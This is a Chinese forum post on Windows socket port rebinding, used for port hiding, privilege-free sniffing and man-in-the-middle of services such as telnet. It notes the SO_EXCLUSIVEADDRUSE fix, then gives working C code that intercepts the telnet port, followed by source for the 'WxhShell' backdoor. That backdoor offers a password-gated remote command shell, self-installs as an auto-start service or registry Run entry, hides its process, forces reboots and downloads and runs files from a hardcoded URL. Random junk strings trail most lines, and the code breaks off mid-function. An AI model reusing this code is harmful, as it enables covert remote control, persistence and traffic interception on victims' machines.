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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Id(wY$C&>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S7(Vc H  
{J[5 {]Je[  
  saddr.sin_family = AF_INET; bdxmJ9a:R  
L/+KY_b:*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e5z U`R  
B* hW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I k[{,p  
RJ63"F $  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d*cAm$  
.[Hv/?L  
  这意味着什么?意味着可以进行如下的攻击: <+r<3ZBA  
g~/@`Z2Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $D%[}[2  
,suC`)R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s*3p*zf  
rn8#nQ>QZ%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sI,S(VWor  
:~PzTUz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  cD5^mxd%  
lFZ}.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6xC$R q  
WGC'k s ^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S-Z s  
3W#f Fy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^1}Y=! &  
uG:xd0X+W  
  #include 4Y x\U  
  #include 9$iDK$%  
  #include Vmb `%k20'  
  #include    p$+.]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p]^?4  
  int main() 3[T<pAZ  
  { ?c7} v  
  WORD wVersionRequested; ]ysEj3  
  DWORD ret; jWE?$r"  
  WSADATA wsaData; wMx# dP4W8  
  BOOL val; oBpoZ @[Z  
  SOCKADDR_IN saddr; H}f} Y8J{  
  SOCKADDR_IN scaddr; i| /EA7  
  int err; Jmcf9g  
  SOCKET s; Z{p)rscX  
  SOCKET sc; vi8)U]6  
  int caddsize; F?jFFw im  
  HANDLE mt; QVq+';cG  
  DWORD tid;   c&]nAn(  
  wVersionRequested = MAKEWORD( 2, 2 ); }z|@X KA#  
  err = WSAStartup( wVersionRequested, &wsaData ); EZw<)Q   
  if ( err != 0 ) { [(d))(M$|  
  printf("error!WSAStartup failed!\n"); !J/fJW>m6  
  return -1; i^I U)\   
  } (imaL,M-D  
  saddr.sin_family = AF_INET; m,1Hlp  
   W6 y-~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'U|Tye i?  
Z<ABK`rEO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R>#BJ^>=  
  saddr.sin_port = htons(23); '^# =,+ A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V!XT=Ou?6  
  { fa:V8xa  
  printf("error!socket failed!\n"); qHtonJc  
  return -1; x<lY&KQ0  
  } XqxmvN  
  val = TRUE; lij>u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l+!eC lM%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fk)5TPc^  
  { EW}7T3g  
  printf("error!setsockopt failed!\n"); DX\|*:,  
  return -1; fvH4<c5x  
  } \])-Bp ,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \(g/::|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +jifbf-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f*HEw  
WA1h|:Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (h $[g"8  
  { Z H1UAf  
  ret=GetLastError(); _f1~r^(/T0  
  printf("error!bind failed!\n"); f*tKj.P  
  return -1; 1Bl;.8he.)  
  } ROWrkJI>i  
  listen(s,2); k&M9Hn2  
  while(1) Zp'q;h_  
  { O_bgrXg6x  
  caddsize = sizeof(scaddr); Dqz9NB  
  //接受连接请求 *F)+- BB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J4VyP["m  
  if(sc!=INVALID_SOCKET) 552U~t  
  { vk>EFm8l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =j&qat  
  if(mt==NULL) !8ch&cr)o+  
  { *ke9/hO1i  
  printf("Thread Creat Failed!\n"); >r8$vQGj  
  break; -]$=.0 l  
  } 4n 9c  
  } qbZY[Q+F  
  CloseHandle(mt); 7LZ A!3  
  } |OarE2  
  closesocket(s); 3Y6W)$ Q  
  WSACleanup(); `= FDNOwp  
  return 0; y'#i'0eeL  
  }   PrwMR_-  
  DWORD WINAPI ClientThread(LPVOID lpParam) -s5>GwZt  
  { 2"IsNbWV  
  SOCKET ss = (SOCKET)lpParam; h F4gz*Q  
  SOCKET sc; E2%{?o  
  unsigned char buf[4096]; 27CVAX ghV  
  SOCKADDR_IN saddr; 898=9`7e  
  long num; \'[C_+;X  
  DWORD val; 5<=ktA48[  
  DWORD ret; W%,h{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FsTl@zN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1nAAs;`'  
  saddr.sin_family = AF_INET; 23_\UTM}1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Dc;zgLLL  
  saddr.sin_port = htons(23); 7 8n`VmH~L  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l<"Z?z  
  { ~IIlCmMl,  
  printf("error!socket failed!\n"); 7!r)[2l  
  return -1; vf-cx\y7  
  } WN`|5"?$  
  val = 100; 2J0N]`|)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *<rBV`AP  
  { oD?c]}3  
  ret = GetLastError(); }bM=)eUfX  
  return -1; zmdu\:_X9  
  } Hs>|-iDs(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9 %MHIY5  
  { S#g=;hD  
  ret = GetLastError(); ){S/h<4m  
  return -1; .Km6 (U  
  } >?yxig:_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9 U!-Zn!  
  { /~nPPC  
  printf("error!socket connect failed!\n"); s>+,u7EV  
  closesocket(sc); >|| =#;  
  closesocket(ss); +w(>UBy-  
  return -1; aH(B}wh{  
  } Y%"73.x  
  while(1) }+3v5Nz;  
  { 1,pg7L8H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;VlA~tv  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Sru}0M#M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W2-1oS~ma  
  num = recv(ss,buf,4096,0); BH+@!H3 hf  
  if(num>0) d4[mR~XXT  
  send(sc,buf,num,0); qQ=\R1l  
  else if(num==0) +\@}IKWl-?  
  break; w]Byl3}Gt  
  num = recv(sc,buf,4096,0); R3\oLT4  
  if(num>0) v==]v2 -  
  send(ss,buf,num,0); 2S#|[wq(  
  else if(num==0) $u-yw1FT  
  break; F `cuV  
  } D1g .Fek5  
  closesocket(ss); b,MzHx=im  
  closesocket(sc); z&@O\>Q  
  return 0 ; "T0s7LWp  
  } ~o?(O1QY  
SZ)AO8&  
,]* MI"  
========================================================== ~wl 4  
mYRW/8+g  
下边附上一个代码,,WXhSHELL +PfXc?VU  
Wd78 bu|  
========================================================== !T3b ]0z  
c^a D r  
#include "stdafx.h" 1GA$nFBVC  
g[ dI%  
#include <stdio.h> $V?h68[c  
#include <string.h> <1xs ya[e  
#include <windows.h> u hJnDo  
#include <winsock2.h> 5q Y+^jO]o  
#include <winsvc.h> !\RBOdw C  
#include <urlmon.h> u:[vqlU  
0S}ogU[k  
#pragma comment (lib, "Ws2_32.lib") /rQ[Ik$|  
#pragma comment (lib, "urlmon.lib") \ =(r6X  
+* AdSzX  
#define MAX_USER   100 // 最大客户端连接数 .W/#$s|X\  
#define BUF_SOCK   200 // sock buffer N# ?}r>W3  
#define KEY_BUFF   255 // 输入 buffer .{}=!>U2  
h:qt?$]J  
#define REBOOT     0   // 重启 %hM8px4d  
#define SHUTDOWN   1   // 关机 |2'u@<(Z/  
q` Z_Bw  
#define DEF_PORT   5000 // 监听端口 ZQV,gIFys  
'Bc{N^  
#define REG_LEN     16   // 注册表键长度 %D9,Femt  
#define SVC_LEN     80   // NT服务名长度 P9/Bc^5'  
WVa#nU^  
// 从dll定义API |?=a84n1l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qY^@^)b[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~0 5p+F)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TcjTF|q>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); piv/QP-X  
`$hna{e^n  
// wxhshell配置信息 %n7Y5|Uh  
struct WSCFG { 3LK]VuZE  
  int ws_port;         // 监听端口 ^xZo .P  
  char ws_passstr[REG_LEN]; // 口令 T)Ohk(jK1  
  int ws_autoins;       // 安装标记, 1=yes 0=no |gP9^B?3  
  char ws_regname[REG_LEN]; // 注册表键名 VGDds  
  char ws_svcname[REG_LEN]; // 服务名 R<-u`uX nP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pA|Z%aL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fVJsVZ"6v`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zVL"$ )  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `Fn6*_n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U|2*.''+Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h'D-e5i  
(}jYi*B  
}; ,dZ&i! @?  
S="teH[  
// default Wxhshell configuration Vy6A]U\%  
struct WSCFG wscfg={DEF_PORT, <.6bni )  
    "xuhuanlingzhe", 6&Al9+$  
    1, wAn}ic".b  
    "Wxhshell", WhU-^`[*  
    "Wxhshell", ZBX,4kxK7  
            "WxhShell Service", YN<:k Wu  
    "Wrsky Windows CmdShell Service", Q;EQ8pL?"  
    "Please Input Your Password: ", a9<&|L <  
  1, :p6.v>s8  
  "http://www.wrsky.com/wxhshell.exe", bm Hl\?  
  "Wxhshell.exe" +2WvGRC  
    }; H/Wo~$  
I<v:x Tor  
// 消息定义模块 -kZOve|5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b7nER]R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6L\?+=X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GLIe8T*ht  
char *msg_ws_ext="\n\rExit."; p"lTZ7c:Y  
char *msg_ws_end="\n\rQuit."; $: %U`46%s  
char *msg_ws_boot="\n\rReboot..."; Ln2dD>{2  
char *msg_ws_poff="\n\rShutdown..."; O5;$cP:  
char *msg_ws_down="\n\rSave to "; luYa+E0  
fsr0E=nV  
char *msg_ws_err="\n\rErr!";  | D?lF  
char *msg_ws_ok="\n\rOK!"; a`:ag~op@&  
icnc5G  
char ExeFile[MAX_PATH]; NDt +m  
int nUser = 0; TGe)%jZ  
HANDLE handles[MAX_USER]; fQ@k$W\  
int OsIsNt; Xgs 31#K  
K.{:H4_  
SERVICE_STATUS       serviceStatus; n,.ZLuBEX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4Em$L]7   
+d=cI  
// 函数声明 ZV?~~_ 9  
int Install(void); uBPxMwohR  
int Uninstall(void); l-GQ AI8  
int DownloadFile(char *sURL, SOCKET wsh); @aX$}  
int Boot(int flag); ~SWR|[  
void HideProc(void); U <|h4'(@L  
int GetOsVer(void); P<1ZpL  
int Wxhshell(SOCKET wsl); }/{G  
void TalkWithClient(void *cs); BRu/pyxG  
int CmdShell(SOCKET sock); mF|7:zSo  
int StartFromService(void); [nBdq"K  
int StartWxhshell(LPSTR lpCmdLine); !x, ;&  
v;r!rZX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tCw.wDq3=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6N^sUc0s  
>>'t7 U##  
// 数据结构和表定义 Lh"!Z  
SERVICE_TABLE_ENTRY DispatchTable[] = HalkNR-eEm  
{ ?[|T"bE5[  
{wscfg.ws_svcname, NTServiceMain}, #t^y$9^  
{NULL, NULL} <Fc @T4Q,  
}; rps2sXGr  
^JKV~+ Q  
// 自我安装 tBZ&h` V  
int Install(void) ^3q o%=i  
{ &$!'Cw`,  
  char svExeFile[MAX_PATH]; J#pl7q)^w  
  HKEY key; m)]A$*`<  
  strcpy(svExeFile,ExeFile); ~BSE8M+r  
w=r3QKm#K  
// 如果是win9x系统,修改注册表设为自启动 lQnl6j  
if(!OsIsNt) { )7H s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;g0p`wV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DKcg  
  RegCloseKey(key); \8I>^4t'/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C9`J6Uu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @y#QHJ.j  
  RegCloseKey(key);  ?Cu1"bl  
  return 0; 7xmyjy%c  
    } bg8<}~zg  
  } cP4K9:k  
} k>N >_{\  
else { PhS`,I^Z  
NVTNjDF%s  
// 如果是NT以上系统,安装为系统服务 cvf@B_iN9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YRkp(}*!\  
if (schSCManager!=0) $SP*hkU  
{ 7H1 ii   
  SC_HANDLE schService = CreateService 5g{L -8XwI  
  ( `3v! i   
  schSCManager, I^5T9}>Q  
  wscfg.ws_svcname, ]G0`W6;$]  
  wscfg.ws_svcdisp, YEEgDw]BQ  
  SERVICE_ALL_ACCESS, x}w"2[fL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '}`|QJ  
  SERVICE_AUTO_START, V ifQ@  
  SERVICE_ERROR_NORMAL, /<HEcB  
  svExeFile, Y[A`r0  
  NULL, 1D,$Az~.  
  NULL, A1zqm_X5)P  
  NULL, HlkG^:)  
  NULL, 2^Tj@P7  
  NULL rb/m;8v>  
  ); 0]F'k8yLN  
  if (schService!=0) C3H q&TVf/  
  { 7VF^&6  
  CloseServiceHandle(schService); G%a8'3d,  
  CloseServiceHandle(schSCManager); kH!I&4d&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hLVS}HE2  
  strcat(svExeFile,wscfg.ws_svcname); a:PS}_.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {\OIowa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @$5GxIw<l  
  RegCloseKey(key); e$k ]z HlQ  
  return 0; o8:K6y  
    } c !$ 8>  
  } -XVC,.Ly  
  CloseServiceHandle(schSCManager); hSgfp  
} ZWC-<QO"<  
} 6,"fH{Bd  
}),tk?\  
return 1; AxaabS$\  
} Pez 7HKW:  
Xwg|fr+p  
// 自我卸载 FkdG@7Xf  
int Uninstall(void) _]"5]c&*3  
{ w1J&c'-  
  HKEY key; wff&ci28  
$B6"fYiDk  
if(!OsIsNt) { k,L,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uC3o@qGW<  
  RegDeleteValue(key,wscfg.ws_regname);  [69[Ct  
  RegCloseKey(key); oKIry 8'^N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ; &2J9  
  RegDeleteValue(key,wscfg.ws_regname); n7 RswX  
  RegCloseKey(key); kIAWI;H{  
  return 0; r h*Pl]'3z  
  } Md \yXp  
} {emO&#=@CP  
}  w' E  
else { zN(fZT}K5  
g)*[W>M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f-9& n4=H  
if (schSCManager!=0) dbTPY`  
{ ubV|s|J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ta>:iQ a  
  if (schService!=0) v;S7i>\  
  { (+<SR5,/3  
  if(DeleteService(schService)!=0) { |Ire#0Nwx  
  CloseServiceHandle(schService); Do7&OBI~  
  CloseServiceHandle(schSCManager); <RmI)g>'_^  
  return 0; %]JSDb=C  
  } u>Z0ug6x  
  CloseServiceHandle(schService); Epm\ =s  
  } "5mdq-h(  
  CloseServiceHandle(schSCManager); c9\jELO  
} zcGeXX}V?  
} k zhek >  
x+zz:^yHYf  
return 1; esH>NH_  
} 'CT 8vt;  
^l#Z*0@><~  
// 从指定url下载文件 #vi `2F  
int DownloadFile(char *sURL, SOCKET wsh) RVv@x5  
{ TIg 3'au  
  HRESULT hr; od{b]HvgS  
char seps[]= "/"; y]5O45E0  
char *token; ;BV1E|j  
char *file; 4P@Ak7iL(V  
char myURL[MAX_PATH]; ':8yp|A|  
char myFILE[MAX_PATH]; >Vr+\c  
t\nYUL-H  
strcpy(myURL,sURL); #C1u~db  
  token=strtok(myURL,seps); B./Lp_QK  
  while(token!=NULL) 3^l@!Qw  
  { +K4d(!Sb  
    file=token; 6[kp#  
  token=strtok(NULL,seps); Z 6^AO=3  
  } =[!&&,c=  
\2#>@6Sqrl  
GetCurrentDirectory(MAX_PATH,myFILE); +Zu*9&Cx  
strcat(myFILE, "\\"); j nvi_Rodm  
strcat(myFILE, file); YC#N],#  
  send(wsh,myFILE,strlen(myFILE),0); SMVn2H@  
send(wsh,"...",3,0); +E7s[9/r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -QL_a8NL  
  if(hr==S_OK) {D1"bDZ  
return 0; G(F }o]  
else q]3bGO;  
return 1; ^9zL[R  
 V3WHp'1  
} +]-~UsM  
bCY8CIF  
// 系统电源模块 x@3Ix, b'  
int Boot(int flag) i-)OY,  
{ z{U2K '  
  HANDLE hToken; (]0JI1 d  
  TOKEN_PRIVILEGES tkp; 8^CdE*a  
"ewSh<t  
  if(OsIsNt) { 0R&$P 6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b f.__3{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5LU8QHj3  
    tkp.PrivilegeCount = 1; ; F% 3b47  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nZe2bai  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); He att?(RR  
if(flag==REBOOT) { M<oIo 036  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~G.'pyW  
  return 0; Dbt"}#uit;  
} ?4Z`^uy  
else { BwwOaO@L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SW|{)L,  
  return 0; 25%[nkO4  
} <U(wLG'XS  
  } H'E(gc)>)  
  else { $s-/![ 6  
if(flag==REBOOT) { VWqmqR%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .}Va~[0j  
  return 0; 9~i=Af@  
} Jhdo#}Ub  
else { R7u&`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $d 2mcwh\  
  return 0; 1+|s   
} t'Zq>y;yg  
} wlk{V  
mm(Ff>O  
return 1; mOG;[CB  
} \^O&){q(9  
1sgI,5liUs  
// win9x进程隐藏模块 OKs1irt5  
void HideProc(void) *;7~aM  
{ ^]}+ s(  
*#p}>\Y{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T.\=R  
  if ( hKernel != NULL ) ;oW#>!HrY  
  { *@`Sx'5!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Fd!Np7xw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D4nYyj1O3  
    FreeLibrary(hKernel); 8,unq3  
  } 8D3|}z?  
&`+tWL6L  
return; gXZl3  
} hKo& ZWPq  
pRyePxCDj)  
// 获取操作系统版本 $m{-I=  
int GetOsVer(void) UXpF$=  
{ \ vf&Ldk  
  OSVERSIONINFO winfo; m,YBk<Bx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D@@J7  
  GetVersionEx(&winfo); SVKjhZK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bzYj`t?  
  return 1; LY Y3*d  
  else BN??3F8C  
  return 0; i+rh&,  
} ]\DZW4?'  
4mYJi#e6x  
// 客户端句柄模块 9Z, K  
int Wxhshell(SOCKET wsl) Fo\* Cr9D  
{ ejs_ ?  
  SOCKET wsh; %l{0z<  
  struct sockaddr_in client; /G*]3=cSe  
  DWORD myID; >1luLp/,$  
;ED` 7  
  while(nUser<MAX_USER) JmlMfMpXMs  
{ /j%(Z/RM  
  int nSize=sizeof(client); 9R$0[HbI3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hO8~Rg   
  if(wsh==INVALID_SOCKET) return 1; haNi [|  
2>`m1q:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cg`bbZ  
if(handles[nUser]==0) h"O4r8G}  
  closesocket(wsh); >JOEp0J  
else :Y4 m3|  
  nUser++; r xlKoa  
  } GnTCq_\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Owd{;  
_#;UXAi  
  return 0; M/<>'%sj  
} Zw@=WW[Q`p  
H5MO3DJ  
// 关闭 socket 2iX57-6Ub  
void CloseIt(SOCKET wsh) 6l Suzu  
{ Rda~Drz  
closesocket(wsh); y}5:CZ  
nUser--; +g.lLb*#  
ExitThread(0); zDK"Y{  
} GpwoS1#)0|  
/Py1Q  
// 客户端请求句柄 /7[U J'  
void TalkWithClient(void *cs) >~+qU&'2  
{ $X\deJ1Hi  
*WzvPl$e  
  SOCKET wsh=(SOCKET)cs; @O]v.<8  
  char pwd[SVC_LEN]; I \Luw*:  
  char cmd[KEY_BUFF]; 8%\0v?a5  
char chr[1]; p)&Yr  
int i,j; U7_1R0h  
*'l|ws  
  while (nUser < MAX_USER) { f3;.+hJ])  
bz'#YM  
if(wscfg.ws_passstr) { zEBUR%9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z@1vJH6IbA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PS:"mP7n  
  //ZeroMemory(pwd,KEY_BUFF); ",, W1]"%  
      i=0; 6B8g MO  
  while(i<SVC_LEN) { &m5FYm\  
^}Wk  
  // 设置超时 yiO/0nMp  
  fd_set FdRead; +H**VdM6s  
  struct timeval TimeOut; %3kS;AaA  
  FD_ZERO(&FdRead); Y[~Dj@Q<  
  FD_SET(wsh,&FdRead); zm~sq_=^  
  TimeOut.tv_sec=8; %mFZ!(  
  TimeOut.tv_usec=0; "h\ (a<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r,8~qHbOT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8~!9bg6C  
` zoC++hx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z%4w{T+[  
  pwd=chr[0]; BJ*8mKi h  
  if(chr[0]==0xd || chr[0]==0xa) { 1`q>*S](  
  pwd=0; wdMVy=SS  
  break; ehTRw8"R  
  } goje4;  
  i++; gt \O  
    } wg}rMJoG|  
4 Q<c I2|  
  // 如果是非法用户,关闭 socket wAA9M4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); is6M{K3  
} JqTR4[`Z\  
Dkyw3*LCn%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;N?raz2mEi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N~! G AaD  
a<CJ#B2K  
while(1) { NK!#K>AO  
/6@$^paB  
  ZeroMemory(cmd,KEY_BUFF); H"b}lf  
crlCN  
      // 自动支持客户端 telnet标准   pPH"6   
  j=0; '7yVvd  
  while(j<KEY_BUFF) { x%J.$o[<_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v/G)E_  
  cmd[j]=chr[0]; BenUyv1d  
  if(chr[0]==0xa || chr[0]==0xd) { o |"iW" +  
  cmd[j]=0; 2t}^8  
  break; [~5<['G  
  } t 2Y2v2 J  
  j++; I&Z+FL&@f  
    } d>gN3}tT  
.|c=]_{  
  // 下载文件 [,TK"  
  if(strstr(cmd,"http://")) { o?`^ UG-   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L7"B`oa(p  
  if(DownloadFile(cmd,wsh)) ^@f-Ni\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :=oIvSnh  
  else L)QAI5o:3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,sZ)@?e  
  } rp_Aw  
  else { /VHQ!Wi  
4NDT5sL  
    switch(cmd[0]) { *z }<eq  
  Xf6\{  
  // 帮助 S]g`Ds<  
  case '?': { 8;<3Tyjzu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "NvB@>S  
    break; G_v^IM#B=  
  } ojbms>a  
  // 安装 i~ITRi@  
  case 'i': { 7*C>4Gs  
    if(Install()) W%P$$x5&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t2hI^J0y  
    else <d~IdK'\x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N?l  
    break; b~Un=-@5a  
    } qk_YFR?R  
  // 卸载 XF i!=|F  
  case 'r': { #4Ltw ,b^  
    if(Uninstall()) H$!sK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /L; c -^  
    else 'q7&MM'oS^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hwi$:[  
    break; xz*MFoE  
    } nq 9{{oe  
  // 显示 wxhshell 所在路径 <o: O<p@6  
  case 'p': { [W Ud9fUL  
    char svExeFile[MAX_PATH]; z+{Q(8'b]  
    strcpy(svExeFile,"\n\r"); v<:/u(i  
      strcat(svExeFile,ExeFile); V*%Lc9<d  
        send(wsh,svExeFile,strlen(svExeFile),0); r68d\N`.  
    break; %mNd9 ]<  
    } XLj|y#h  
  // 重启 n0vhc;d  
  case 'b': { ={B?hjo<-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W/G75o~6  
    if(Boot(REBOOT)) PNRZUZ4Z|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @WnW @'*F  
    else { H:4? sR3  
    closesocket(wsh); gV;9lpZ2  
    ExitThread(0); H|s,;1#  
    } 5 NN`tv  
    break; eD)@:K  
    } :$^cY>o  
  // 关机 c3!YA"5  
  case 'd': { r#\Lq;+-B  
